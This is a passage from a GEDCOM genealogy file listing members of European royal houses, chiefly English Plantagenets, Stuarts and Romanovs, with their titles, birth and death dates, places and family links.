of_Mecklenburg-//\n1 TITL Grand Duke\n1 SEX M\n1 BIRT\n2 DATE        1823\n1 DEAT\n2 DATE        1883\n1 FAMS @F445@\n1 FAMC @F183@\n0 @I1214@ INDI\n1 NAME Marie of_Schwarzburg- Rudolstadt//\n1 SEX F\n1 FAMS @F445@\n1 FAMC @F1256@\n0 @I1215@ INDI\n1 NAME Antoine de_Bourbon of_France//\n1 SEX M\n1 FAMS @F446@\n0 @I1216@ INDI\n1 NAME Helene of_Nassau Henrietta//\n1 SEX F\n1 BIRT\n2 DATE        1831\n1 DEAT\n2 DATE        1888\n1 FAMS @F67@\n0 @I1217@ INDI\n1 NAME Henry_VI  //\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE  6 DEC 1421\n2 PLAC Windsor Castle,Berkshire,England\n1 DEAT\n2 DATE 21 MAY 1471\n2 PLAC Tower of London,London,England\n1 BURI\n2 PLAC St. George Chap.,Windsor,Berkshire,England\n1 FAMS @F448@\n1 FAMC @F449@\n0 @I1218@ INDI\n1 NAME Margaret of_Anjou //\n1 SEX F\n1 BIRT\n2 DATE 23 MAR 1429\n2 PLAC Pont-a-Mousson,Lorraine\n1 DEAT\n2 DATE 25 AUG 1482\n2 PLAC Chateau de,Dampiere,Near Saumur\n1 BURI\n2 PLAC Angers,Cathedral\n1 FAMS @F448@\n1 FAMC @F1052@\n0 @I1219@ INDI\n1 NAME Henry_V  //\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE  9 AUG 1387\n2 PLAC Monmouth\n1 DEAT\n2 DATE 31 AUG 1422\n2 PLAC Bois de,Vincennes\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 FAMS @F449@\n1 FAMC @F450@\n0 @I1220@ INDI\n1 NAME Catherine of_Valois //\n1 SEX F\n1 BIRT\n2 DATE 27 OCT 1401\n2 PLAC Paris\n1 DEAT\n2 DATE  3 JAN 1437\n2 PLAC Bermondsey,Abbey\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 FAMS @F449@\n1 FAMS @F497@\n1 FAMC @F915@\n0 @I1221@ INDI\n1 NAME Henry_IV  //\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE  4 APR 1366\n2 PLAC Bolingbrooke,Castle\n1 DEAT\n2 DATE 20 MAR 1413\n2 PLAC London,England\n1 BURI\n2 PLAC Canterbury,Cathedral,England\n1 FAMS @F450@\n1 FAMS @F620@\n1 FAMC @F452@\n0 @I1222@ INDI\n1 NAME Mary  /De_Bohun/\n1 SEX F\n1 DEAT\n2 DATE  4 JUL 1394\n2 PLAC Peterborough,Castle\n1 FAMS @F450@\n1 FAMC @F914@\n0 @I1223@ INDI\n1 NAME Son  //\n1 SEX M\n1 BIRT\n2 DATE    APR 1382\n1 DEAT\n2 DATE ABT    1382\n1 FAMC @F450@\n0 @I1224@ INDI\n1 NAME Thomas  //\n1 TITL Duke of Clarence\n1 SEX M\n1 BIRT\n2 DATE        1388\n2 PLAC Kenilworth\n1 DEAT\n2 DATE 22 MAR 1421\n2 PLAC Beauge\n1 FAMS @F613@\n1 FAMC @F450@\n0 @I1225@ INDI\n1 NAME John  //\n1 TITL Duke of Bedford\n1 SEX M\n1 BIRT\n2 DATE 20 JUN 1389\n1 DEAT\n2 DATE 15 SEP 1435\n2 PLAC Rouen\n1 FAMS @F614@\n1 FAMS @F484@\n1 FAMC @F450@\n0 @I1226@ INDI\n1 NAME Humphrey of_Gloucester //\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE    SEP 1390\n1 DEAT\n2 DATE 23 FEB 1447\n2 PLAC Bury St. Edmunds\n1 FAMS @F615@\n1 FAMS @F616@\n1 FAMC @F450@\n0 @I1227@ INDI\n1 NAME Blanche  //\n1 SEX F\n1 BIRT\n2 DATE        1392\n2 PLAC Peterborough,Castle\n1 DEAT\n2 DATE 21 MAY 1409\n2 PLAC Germany\n1 FAMS @F617@\n1 FAMC @F450@\n0 @I1228@ INDI\n1 NAME Philippa  //\n1 SEX F\n1 BIRT\n2 DATE  4 JUL 1394\n2 PLAC Peterborough,Castle\n1 DEAT\n2 DATE  5 JAN 1430\n2 PLAC Convent,of Vadstena\n1 FAMS @F618@\n1 FAMC @F450@\n0 @I1229@ INDI\n1 NAME Edward_III  //\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE 13 NOV 1312\n2 PLAC Windsor Castle,Berkshire,England\n1 DEAT\n2 DATE 21 JUN 1377\n2 PLAC Sheen Palace\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 FAMS @F451@\n1 FAMC @F92@\n0 @I1230@ INDI\n1 NAME Philippa of_Hainault //\n1 SEX F\n1 BIRT\n2 DATE 24 JUN 1311\n2 PLAC Valenciennes\n1 DEAT\n2 DATE 14 AUG 1369\n2 PLAC Windsor Castle,Windsor,Berkshire,England\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 FAMS @F451@\n1 FAMC @F900@\n0 @I1231@ INDI\n1 NAME Edward  //\n1 TITL Prince of Wales\n1 SEX M\n1 BIRT\n2 DATE 15 JUN 1330\n2 PLAC Woodstock,Oxfordshire,England\n1 DEAT\n2 DATE  8 JUN 1376\n2 PLAC Westminster,Palace,London,England\n1 BURI\n2 PLAC Canterbury,Cathedral,London,England\n1 FAMS @F513@\n1 FAMC @F451@\n0 @I1232@ INDI\n1 NAME Isabella  //\n1 SEX F\n1 BIRT\n2 DATE 16 JUN 1332\n2 PLAC Woodstock\n1 DEAT\n2 DATE BEF    OCT 1382\n2 PLAC London\n1 FAMS @F516@\n1 FAMC @F451@\n0 @I1233@ INDI\n1 NAME Joan (Joanna) //\n1 SEX F\n1 BIRT\n2 DATE ABT    FEB 1335\n2 PLAC Woodstock\n1 DEAT\n2 DATE  2 SEP 1348\n2 PLAC Bayonne\n1 FAMC @F451@\n0 @I1234@ INDI\n1 NAME William of_Hatfield //\n1 SEX M\n1 BIRT\n2 DATE BEF 16 FEB 1337\n2 PLAC Hatfield Herts\n1 DEAT\n2 DATE BEF  8 JUL 1337\n1 FAMC @F451@\n0 @I1235@ INDI\n1 NAME Lionel of_Antwerp //\n1 TITL Duke of Clarence\n1 SEX M\n1 BIRT\n2 DATE 29 NOV 1338\n2 PLAC Antwerp,Belgium\n1 DEAT\n2 DATE 10 DEC 1363\n2 PLAC Dublin,Ireland\n1 FAMS @F519@\n1 FAMS @F493@\n1 FAMC @F451@\n0 @I1236@ INDI\n1 NAME John of_Gaunt //\n1 TITL Duke of Lancast.\n1 SEX M\n1 BIRT\n2 DATE    MAR 1340\n2 PLAC Ghent\n1 DEAT\n2 DATE  3 FEB 1399\n2 PLAC Leicester Castle\n1 FAMS @F452@\n1 FAMS @F517@\n1 FAMS @F485@\n1 FAMC @F451@\n0 @I1237@ INDI\n1 NAME Edmund of_Langley //\n1 TITL Duke of York\n1 SEX M\n1 BIRT\n2 DATE  5 JUN 1341\n2 PLAC Kings Langley,Herts\n1 DEAT\n2 DATE  1 AUG 1402\n2 PLAC Kings Langley,Herts\n1 FAMS @F488@\n1 FAMS @F534@\n1 FAMC @F451@\n0 @I1238@ INDI\n1 NAME Blanche  //\n1 SEX F\n1 BIRT\n2 DATE    MAR 1342\n2 PLAC Tower of London\n1 DEAT\n2 DATE    MAR 1342\n2 PLAC Tower of London\n1 FAMC @F451@\n0 @I1239@ INDI\n1 NAME Mary  //\n1 SEX F\n1 BIRT\n2 DATE 10 OCT 1344\n2 PLAC Waltham,Near Winchester\n1 DEAT\n2 DATE        1361/1362\n1 FAMS @F612@\n1 FAMC @F451@\n0 @I1240@ INDI\n1 NAME Margaret  //\n1 SEX F\n1 BIRT\n2 DATE 20 JUL 1346\n2 PLAC Windsor Castle,Berkshire,England\n1 DEAT\n2 DATE AFT  1 OCT 1361\n1 FAMS @F518@\n1 FAMC @F451@\n0 @I1241@ INDI\n1 NAME William of_Windsor //\n1 SEX M\n1 BIRT\n2 DATE 24 JUN 1348\n2 PLAC Windsor Castle,Berkshire,England\n1 DEAT\n2 DATE    SEP 1348\n1 FAMC @F451@\n0 @I1242@ INDI\n1 NAME Thomas of_Woodstock //\n1 TITL Duke of Glouces.\n1 SEX M\n1 BIRT\n2 DATE  7 JAN 1355\n2 PLAC Woodstock\n1 DEAT\n2 DATE 15 SEP 1396/1397\n2 PLAC Calais\n1 FAMS @F491@\n1 FAMC @F451@\n0 @I1243@ INDI\n1 NAME Blanche of_Lancaster //\n1 SEX F\n1 BIRT\n2 DATE        1341\n1 DEAT\n2 DATE 12 SEP 1369\n2 PLAC Bolingbroke,Castle\n1 FAMS @F452@\n1 FAMC @F560@\n0 @I1244@ INDI\n1 NAME Isabella_II  //\n1 TITL Queen of Spain\n1 SEX F\n1 BIRT\n2 DATE        1830\n2 PLAC Madrid,Spain\n1 DEAT\n2 DATE        1904\n1 FAMS @F453@\n1 FAMC @F454@\n0 @I1245@ INDI\n1 NAME Don_Francisco  /de_Asis/\n1 SEX M\n1 BIRT\n2 DATE        1822\n1 DEAT\n2 DATE        1902\n1 FAMS @F453@\n0 @I1246@ INDI\n1 NAME Ferdinand_VII  //\n1 TITL King of Spain\n1 SEX M\n1 BIRT\n2 DATE        1784\n1 DEAT\n2 DATE        1833\n1 FAMS @F1345@\n1 FAMS @F1346@\n1 FAMS @F1347@\n1 FAMS @F454@\n1 FAMC @F1348@\n0 @I1247@ INDI\n1 NAME Mary  /Stuart/\n1 TITL Queen of Scots\n1 SEX F\n1 BIRT\n2 DATE  7 DEC 1542\n2 PLAC Linlithgow,Scotland\n1 DEAT\n2 DATE  8 FEB 1587\n2 PLAC ,England\n1 FAMS @F456@\n1 FAMS @F455@\n1 FAMS @F457@\n1 FAMC @F459@\n0 @I1248@ INDI\n1 NAME Francis_II  //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE 19 JAN 1544\n2 PLAC Fontainebleau,France\n1 DEAT\n2 DATE  5 DEC 1560\n2 PLAC Orleans,France\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F456@\n1 FAMC @F1148@\n0 @I1249@ INDI\n1 NAME Henry  /Stuart/\n1 TITL Lord Darnley\n1 SEX M\n1 BIRT\n2 DATE        1545\n1 DEAT\n2 DATE        1567\n1 FAMS @F455@\n1 FAMC @F528@\n0 @I1250@ INDI\n1 NAME James  /Hepburn/\n1 TITL Earl Bothwell-4\n1 SEX M\n1 DEAT\n2 DATE        1576\n1 FAMS @F457@\n0 @I1251@ INDI\n1 NAME Mary of_Guise //\n1 SEX F\n1 BIRT\n2 DATE        1515\n1 DEAT\n2 DATE        1560\n1 FAMS @F459@\n1 FAMC @F727@\n0 @I1252@ INDI\n1 NAME James_III  //\n1 TITL King of Scotland\n1 SEX M\n1 BIRT\n2 DATE        1451\n2 PLAC Stirling,Scotland\n1 DEAT\n2 DATE        1488\n1 FAMS @F460@\n1 FAMC @F547@\n0 @I1253@ INDI\n1 NAME Richard de_Burgh //\n1 TITL Earl of Ulster\n1 SEX M\n1 FAMS @F548@\n0 @I1254@ INDI\n1 NAME Edmund  /Tudor/\n1 TITL Earl of Richmond\n1 SEX M\n1 BIRT\n2 DATE ABT    1430\n1 DEAT\n2 DATE        1456\n1 FAMS @F461@\n1 FAMC @F497@\n0 @I1255@ INDI\n1 NAME Margaret of_Richmond /Beaufort/\n1 TITL Countess\n1 SEX F\n1 DEAT\n2 DATE        1509\n1 FAMS @F461@\n1 FAMS @F495@\n1 FAMS @F496@\n1 FAMC @F487@\n0 @I1256@ INDI\n1 NAME John of_Eltham //\n1 TITL Earl of Cornwall\n1 SEX M\n1 BIRT\n2 DATE ABT 15 AUG 1316\n2 PLAC Eltham Palace,Kent\n1 DEAT\n2 DATE 14 SEP 1336\n2 PLAC Perth\n1 FAMC @F92@\n0 @I1257@ INDI\n1 NAME Eleanor  //\n1 SEX F\n1 BIRT\n2 DATE 18 JUN 1318\n2 PLAC Woodstock\n1 DEAT\n2 DATE 22 APR 1355\n2 PLAC Deventer\n1 FAMS @F463@\n1 FAMC @F92@\n0 @I1258@ INDI\n1 NAME Joan of_the_Tower //\n1 SEX F\n1 BIRT\n2 DATE  5 JUL 1321\n2 PLAC Tower of London,London,England\n1 DEAT\n2 DATE  7 SEP 1362\n2 PLAC Hertford\n1 FAMS @F540@\n1 FAMC @F92@\n0 @I1259@ INDI\n1 NAME Rainald_II of_Gueldres //\n1 TITL Duke\n1 SEX M\n1 FAMS @F463@\n0 @I1260@ INDI\n1 NAME Charles of_Orleans //\n1 TITL Duke of Orleans\n1 SEX M\n1 BIRT\n2 DATE        1391\n1 DEAT\n2 DATE        1465\n1 FAMS @F462@\n0 @I1261@ INDI\n1 NAME Edward_I (Longshanks) //\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE 17 JUN 1239\n2 PLAC Westminster,Palace,London,England\n1 DEAT\n2 DATE  7 JUL 1307\n2 PLAC Near Carlisle\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 FAMS @F464@\n1 FAMS @F465@\n1 FAMC @F466@\n0 @I1262@ INDI\n1 NAME Eleanor of_Castile //\n1 SEX F\n1 BIRT\n2 DATE ABT    1244\n2 PLAC Castile\n1 DEAT\n2 DATE 24 NOV 1290\n2 PLAC Herdeby,Near Grantham,Lincolnshire\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 FAMS @F464@\n1 FAMC @F693@\n0 @I1263@ INDI\n1 NAME Eleanor  //\n1 SEX F\n1 BIRT\n2 DATE 17 JUN 1264\n2 PLAC Windsor Castle,Berkshire,England\n1 DEAT\n2 DATE 12 OCT 1297\n2 PLAC Ghent\n1 FAMC @F464@\n0 @I1264@ INDI\n1 NAME Joan  //\n1 SEX F\n1 BIRT\n2 DATE        1265\n1 DEAT\n2 DATE        1265\n1 FAMC @F464@\n0 @I1265@ INDI\n1 NAME John  //\n1 SEX M\n1 BIRT\n2 DATE 10 JUL 1266\n2 PLAC Windsor,Berkshire,England\n1 DEAT\n2 DATE  3 AUG 1271\n2 PLAC Westminster,London,England\n1 FAMC @F464@\n0 @I1266@ INDI\n1 NAME Henry  //\n1 SEX M\n1 BIRT\n2 DATE 13 JUL 1267\n2 PLAC Windsor,Berkshire,England\n1 DEAT\n2 DATE 14 OCT 1274\n2 PLAC Merton,Surrey\n1 FAMC @F464@\n0 @I1267@ INDI\n1 NAME Julian (Katherine) //\n1 SEX F\n1 BIRT\n2 DATE        1271\n2 PLAC Holy Land\n1 DEAT\n2 DATE        1271\n2 PLAC Holy Land\n1 FAMC @F464@\n0 @I1268@ INDI\n1 NAME Joan of_Acre //\n1 SEX F\n1 BIRT\n2 DATE        1272\n2 PLAC Acre,Palestine\n1 DEAT\n2 DATE 23 APR 1307\n2 PLAC Clare,Suffolk,England\n1 FAMS @F606@\n1 FAMS @F607@\n1 FAMC @F464@\n0 @I1269@ INDI\n1 NAME Alfonso  //\n1 TITL Earl of Chester\n1 SEX M\n1 BIRT\n2 DATE 24 NOV 1273\n2 PLAC Bordeaux\n1 DEAT\n2 DATE 19 AUG 1284\n2 PLAC Windsor Castle,Berkshire,England\n1 FAMC @F464@\n0 @I1270@ INDI\n1 NAME Margaret  //\n1 SEX F\n1 BIRT\n2 DATE 11 SEP 1275\n2 PLAC Windsor Castle,Berkshire,England\n1 DEAT\n2 DATE        1318\n2 PLAC Brussels\n1 FAMS @F608@\n1 FAMC @F464@\n0 @I1271@ INDI\n1 NAME Berengaria  //\n1 SEX F\n1 BIRT\n2 DATE        1276\n2 PLAC Kennington\n1 DEAT\n2 DATE ABT    1279\n1 FAMC @F464@\n0 @I1272@ INDI\n1 NAME Mary  //\n1 SEX F\n1 BIRT\n2 DATE 11 MAR 1278\n2 PLAC Windsor Castle,Berkshire,England\n1 DEAT\n2 DATE BEF  8 JUL 1332\n2 PLAC Amesbury\n1 FAMC @F464@\n0 @I1273@ INDI\n1 NAME Alice  //\n1 SEX F\n1 BIRT\n2 DATE 12 MAR 1279\n2 PLAC Woodstock\n1 DEAT\n2 DATE        1291\n1 FAMC @F464@\n0 @I1274@ INDI\n1 NAME Elizabeth  //\n1 SEX F\n1 BIRT\n2 DATE    AUG 1282\n2 PLAC Rhuddlan Castle\n1 DEAT\n2 DATE  5 MAY 1316\n1 FAMS @F609@\n1 FAMS @F610@\n1 FAMC @F464@\n0 @I1275@ INDI\n1 NAME Beatrice  //\n1 SEX F\n1 BIRT\n2 DATE ABT    1286\n2 PLAC Aquitaine\n1 FAMC @F464@\n0 @I1276@ INDI\n1 NAME Blanche  //\n1 SEX F\n1 BIRT\n2 DATE        1290\n1 DEAT\n2 DATE        1290\n1 FAMC @F464@\n0 @I1277@ INDI\n1 NAME Marguerite of_France //\n1 SEX F\n1 BIRT\n2 DATE        1279\n2 PLAC Paris\n1 DEAT\n2 DATE 14 FEB 1317\n2 PLAC Marlborough,Castle\n1 BURI\n2 PLAC Grey Friars,Church,London,England\n1 FAMS @F465@\n1 FAMC @F688@\n0 @I1278@ INDI\n1 NAME Thomas of_Brotherton //\n1 TITL Earl of Norfolk\n1 SEX M\n1 BIRT\n2 DATE  1 JUN 1300\n2 PLAC Brotherton,Yorkshire,England\n1 DEAT\n2 DATE    AUG 1338\n1 FAMS @F562@\n1 FAMS @F611@\n1 FAMC @F465@\n0 @I1279@ INDI\n1 NAME Edmund of_Woodstock //\n1 TITL Earl of Kent\n1 SEX M\n1 BIRT\n2 DATE  5 AUG 1301\n2 PLAC Woodstock\n1 DEAT\n2 DATE 19 MAR 1330\n2 PLAC Winchester\n1 FAMS @F564@\n1 FAMC @F465@\n0 @I1280@ INDI\n1 NAME Eleanor  //\n1 SEX F\n1 BIRT\n2 DATE  4 MAY 1306\n2 PLAC Winchester\n1 DEAT\n2 DATE        1311\n2 PLAC Amesbury\n1 FAMC @F465@\n0 @I1281@ INDI\n1 NAME Henry_III  //\n1 TITL King of England\n1 SEX M\n1 BIRT\n2 DATE  1 OCT 1207\n2 PLAC Winchester,Castle\n1 DEAT\n2 DATE 16 NOV 1272\n2 PLAC Westminster,Palace,London,England\n1 BURI\n2 PLAC Westminster,Abbey,London,England\n1 FAMS @F466@\n1 FAMC @F503@\n0 @I1282@ INDI\n1 NAME Eleanor of_Provence //\n1 SEX F\n1 BIRT\n2 DATE ABT    1217\n2 PLAC Aix-en-Provence\n1 DEAT\n2 DATE 24 JUN 1291\n2 PLAC Amesbury,Wiltshire\n1 BURI\n2 PLAC Convent Church,Amesbury\n1 FAMS @F466@\n1 FAMC @F777@\n0 @I1283@ INDI\n1 NAME Margaret  //\n1 SEX F\n1 BIRT\n2 DATE 29 SEP 1240\n2 PLAC Windsor Castle,Berkshire,England\n1 DEAT\n2 DATE 26 FEB 1275\n2 PLAC Cupar Castle,Fife\n1 FAMS @F603@\n1 FAMC @F466@\n0 @I1284@ INDI\n1 NAME Beatrice  //\n1 SEX F\n1 BIRT\n2 DATE 25 JUN 1242\n2 PLAC Bordeaux\n1 DEAT\n2 DATE 24 MAR 1275\n2 PLAC London,England\n1 FAMS @F604@\n1 FAMC @F466@\n0 @I1285@ INDI\n1 NAME Edmund Crouchback of_Leicester//\n1 TITL Earl\n1 SEX M\n1 BIRT\n2 DATE 16 JAN 1245\n2 PLAC London,England\n1 DEAT\n2 DATE  5 JUN 1296\n2 PLAC Bayonne\n1 FAMS @F605@\n1 FAMS @F558@\n1 FAMC @F466@\n0 @I1286@ INDI\n1 NAME Richard  //\n1 SEX M\n1 BIRT\n2 DATE ABT    1247\n1 DEAT\n2 DATE BEF    1256\n1 FAMC @F466@\n0 @I1287@ INDI\n1 NAME John  //\n1 SEX M\n1 BIRT\n2 DATE ABT    1250\n1 DEAT\n2 DATE BEF    1256\n1 FAMC @F466@\n0 @I1288@ INDI\n1 NAME Katherine  //\n1 SEX F\n1 BIRT\n2 DATE 25 NOV 1253\n2 PLAC Westminster\n1 DEAT\n2 DATE  3 MAY 1257\n2 PLAC Windsor Castle,Berkshire,England\n1 FAMC @F466@\n0 @I1289@ INDI\n1 NAME William  //\n1 SEX M\n1 BIRT\n2 DATE ABT    1256\n1 DEAT\n2 DATE ABT    1256\n1 FAMC @F466@\n0 @I1290@ INDI\n1 NAME Henry  //\n1 SEX M\n1 BIRT\n2 DATE AFT    1256\n1 DEAT\n2 DATE ABT    1257\n1 FAMC @F466@\n0 @I1291@ INDI\n1 NAME John  /Spencer/\n1 TITL Hon.\n1 SEX M\n1 BIRT\n2 DATE        1734\n1 DEAT\n2 DATE        1783\n1 FAMS @F467@\n1 FAMC @F685@\n0 @I1292@ INDI\n1 NAME Georgiana  /Carteret/\n1 TITL Lady\n1 SEX F\n1 DEAT\n2 DATE        1780\n1 FAMS @F467@\n0 @I1293@ INDI\n1 NAME Henrietta  //\n1 SEX F\n1 BIRT\n2 DATE 28 FEB 1792\n2 PLAC Maastricht\n1 DEAT\n2 DATE 26 OCT 1864\n2 PLAC Schloss Rahr,Near Aachen\n1 FAMS @F468@\n0 @I1294@ INDI\n1 NAME Paul_I  /Romanov/\n1 TITL Emperor\n1 SEX M\n1 BIRT\n2 DATE        1754\n1 DEAT\n2 DATE        1801\n1 FAMS @F469@\n1 FAMC @F471@\n0 @I1295@ INDI\n1 NAME Maria Feodorovna of_Wurttemberg//\n1 SEX F\n1 BIRT\n2 DATE        1759\n1 DEAT\n2 DATE        1828\n1 FAMS @F469@\n1 FAMC @F1274@\n0 @I1296@ INDI\n1 NAME Alexander_I  /Romanov/\n1 TITL Tsar of Russia\n1 SEX M\n1 BIRT\n2 DATE        1777\n1 DEAT\n2 DATE        1825\n1 FAMS @F470@\n1 FAMC @F469@\n0 @I1297@ INDI\n1 NAME Yelizaveta Alekseyevna of_Baden//\n1 SEX F\n1 FAMS @F470@\n0 @I1298@ INDI\n1 NAME Konstantin  /Romanov/\n1 SEX M\n1 BIRT\n2 DATE        1779\n1 FAMC @F470@\n0 @I1299@ INDI\n1 NAME Catherine_II the_Great //\n1 TITL Empress\n1 SEX F\n1 BIRT\n2 DATE  2 MAY 1729\n2 PLAC Szczecin,Poland\n1 DEAT\n2 DATE 17 NOV 1796\n2 PLAC St. Petersburg,Russia\n1 FAMS @F471@\n1 FAMC @F1275@\n0 @I1300@ INDI\n1 NAME Peter_III  /Romanov/\n1 TITL Emperor Russia\n1 SEX M\n1 BIRT\n2 DATE        1728\n2 PLAC Kiel,Germany\n1 DEAT\n2 DATE 17 JUL 1762\n1 FAMS @F471@\n1 FAMC @F473@\n0 @I1301@ INDI\n1 NAME Peter_I the_Great /Romanov/\n1 TITL Emperor\n1 SEX M\n1 BIRT\n2 DATE        1672\n1 DEAT\n2 DATE        1725\n1 FAMS @F472@\n1 FAMS @F474@\n1 FAMC @F478@\n0 @I1302@ INDI\n1 NAME Catherine_I  //\n1 TITL Empress\n1 SEX F\n1 BIRT\n2 DATE        1683\n2 PLAC Jakobstadt,Latvia\n1 DEAT\n2 DATE        1727\n1 FAMS @F472@\n0 @I1303@ INDI\n1 NAME Anna Petrovna /Romanov/\n1 SEX F\n1 BIRT\n2 DATE        1708\n1 DEAT\n2 DATE        1728\n1 FAMS @F473@\n1 FAMC @F472@\n0 @I1304@ INDI\n1 NAME Elizabeth Petrovna /Romanov/\n1 TITL Empress\n1 SEX F\n1 BIRT\n2 DATE        1709\n2 PLAC Near Moscow,Russia\n1 DEAT\n2 DATE        1761/1762\n1 FAMC @F472@\n0 @I1305@ INDI\n1 NAME Yevdokiya Lopukhina //\n1 SEX F\n1 FAMS @F474@\n0 @I1306@ INDI\n1 NAME Alexis  /Romanov/\n1 SEX M\n1 BIRT\n2 DATE        1690\n1 DEAT\n2 DATE        1718\n1 FAMS @F475@\n1 FAMC @F474@\n0 @I1307@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F475@\n0 @I1308@ INDI\n1 NAME Peter_II  /Romanov/\n1 SEX M\n1 BIRT\n2 DATE        1715\n1 DEAT\n2 DATE        1730\n1 FAMC @F475@\n0 @I1309@ INDI\n1 NAME Alexis_I Michaylovich /Romanov/\n1 TITL Emperor\n1 SEX M\n1 BIRT\n2 DATE        1629\n1 DEAT\n2 DATE        1675/1676\n1 FAMS @F476@\n1 FAMS @F478@\n1 FAMC @F477@\n0 @I1310@ INDI\n1 NAME Maria Miroslavkaya //\n1 SEX F\n1 DEAT\n2 DATE        1668\n1 FAMS @F476@\n0 @I1311@ INDI\n1 NAME Feodor_III (Theodore) /Romanov/\n1 TITL Emperor\n1 SEX M\n1 BIRT\n2 DATE        1662\n1 DEAT\n2 DATE        1682\n1 FAMS @F479@\n1 FAMC @F476@\n0 @I1312@ INDI\n1 NAME Mikhail_III Feodorovich /Romanov/\n1 SEX M\n1 BIRT\n2 DATE        1597\n1 DEAT\n2 DATE        1645\n1 FAMS @F477@\n1 FAMC @F1261@\n0 @I1313@ INDI\n1 NAME Eudoxia  /Streshniev/\n1 SEX F\n1 BIRT\n2 DATE        1608\n1 DEAT\n2 DATE        1645\n1 FAMS @F477@\n1 FAMC @F1260@\n0 @I1314@ INDI\n1 NAME Natalia Narishkina //\n1 SEX F\n1 BIRT\n2 DATE        1651\n1 DEAT\n2 DATE        1694\n1 FAMS @F478@\n1 FAMC @F483@\n0 @I1315@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F479@\n0 @I1316@ INDI\n1 NAME Ivan_V  /Romanov/\n1 TITL Emperor\n1 SEX M\n1 BIRT\n2 DATE        1666\n1 DEAT\n2 DATE        1696\n1 FAMS @F480@\n1 FAMC @F479@\n0 @I1317@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F480@\n0 @I1318@ INDI\n1 NAME Anna Ioannovna /Romanov/\n1 TITL Empress\n1 SEX F\n1 BIRT\n2 DATE        1693\n1 DEAT\n2 DATE        1740\n1 FAMC @F480@\n0 @I1319@ INDI\n1 NAME Yekaterina of_Mecklenburg //\n1 SEX F\n1 FAMS @F481@\n1 FAMC @F480@\n0 @I1320@ INDI\n1 NAME Unknown  //\n1 SEX M\n1 FAMS @F481@\n0 @I1321@ INDI\n1 NAME Anna Leopoldovna of_Brunswick//\n1 SEX F\n1 FAMS @F482@\n1 FAMC @F481@\n0 @I1322@ INDI\n1 NAME Unknown  //\n1 SEX M\n1 FAMS @F482@\n0 @I1323@ INDI\n1 NAME Ivan_VI  /Romanov/\n1 TITL Emperor\n1 SEX M\n1 BIRT\n2 DATE        1740\n1 DEAT\n2 DATE        1741\n1 FAMC @F482@\n0 @I1324@ INDI\n1 NAME Ivan  /Romanov/\n1 SEX M\n1 FAMC @F476@\n0 @I1325@ INDI\n1 NAME Sophia  /Romanov/\n1 SEX F\n1 BIRT\n2 DATE ABT    1657\n1 FAMC @F476@\n0 @I1326@ INDI\n1 NAME Cyril  /Naryshkin/\n1 SEX M\n1 BIRT\n2 DATE        1623\n1 DEAT\n2 DATE        1691\n1 FAMS @F483@\n0 @I1327@ INDI\n1 NAME Jacquetta of_Luxembourg //\n1 SEX F\n1 FAMS @F484@\n1 FAMS @F1051@\n1 FAMC @F1050@\n0 @I1328@ INDI\n1 NAME Catherine Swynford /Roet/\n1 SEX F\n1 BIRT\n2 DATE        1350\n1 DEAT\n2 DATE 10 MAY 1403\n2 PLAC Lincoln\n1 FAMS @F907@\n1 FAMS @F485@\n1 FAMC @F906@\n0 @I1329@ INDI\n1 NAME John Beaufort //\n1 TITL Earl Sommerset\n1 SEX M\n1 DEAT\n2 DATE        1410\n1 FAMS @F486@\n1 FAMS @F736@\n1 FAMC @F485@\n0 @I1330@ INDI\n1 NAME Henry Beaufort //\n1 TITL Cardinal\n1 SEX M\n1 DEAT\n2 DATE        1447\n1 FAMC @F485@\n0 @I1331@ INDI\n1 NAME Joan Beaufort //\n1 SEX F\n1 FAMS @F916@\n1 FAMS @F372@\n1 FAMC @F485@\n0 @I1332@ INDI\n1 NAME Humphrey  /De_Bohun/\n1 TITL Earl of Hereford\n1 SEX M\n1 FAMS @F914@\n0 @I1333@ INDI\n1 NAME Henry  /Beaufort/\n1 TITL Earl Sommerset\n1 SEX M\n1 BIRT\n2 DATE        1401\n1 DEAT\n2 DATE        1418\n1 FAMC @F486@\n0 @I1334@ INDI\n1 NAME John  /Beaufort/\n1 TITL Duke Sommerset\n1 SEX M\n1 BIRT\n2 DATE        1403\n1 DEAT\n2 DATE        1444\n1 FAMS @F487@\n1 FAMC @F486@\n0 @I1335@ INDI\n1 NAME Edmund  /Beaufort/\n1 TITL Duke Sommerset\n1 SEX M\n1 DEAT\n2 DATE        1455\n1 FAMS @F920@\n1 FAMC @F486@\n0 @I1336@ INDI\n1 NAME Margaret  /Beauchamp/\n1 SEX F\n1 FAMS @F487@\n0 @I1337@ INDI\n1 NAME Isabella of_Castile //\n1 SEX F\n1 DEAT\n2 DATE 23 NOV 1393\n1 FAMS @F488@\n1 FAMC @F908@\n0 @I1338@ INDI\n1 NAME Edward  //\n1 TITL Duke of York\n1 SEX M\n1 DEAT\n2 DATE        1415\n2 PLAC Agincourt\n1 FAMS @F1072@\n1 FAMC @F488@\n0 @I1339@ INDI\n1 NAME Anne  /Beauchamp/\n1 TITL Lady\n1 SEX F\n1 FAMS @F370@\n0 @I1340@ INDI\n1 NAME Isabel  /Nevill/\n1 TITL Lady\n1 SEX F\n1 FAMS @F381@\n1 FAMC @F370@\n0 @I1341@ INDI\n1 NAME Louis_XIV  //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE  5 SEP 1638\n2 PLAC St Germain-en-,Laye,France\n1 DEAT\n2 DATE  1 SEP 1715\n2 PLAC Versailles,France\n1 BURI\n2 PLAC St Denis,France\n1 FAMS @F523@\n1 FAMS @F524@\n1 FAMC @F521@\n0 @I1342@ INDI\n1 NAME Richard  /Nevill/\n1 TITL Earl Salisbury\n1 SEX M\n1 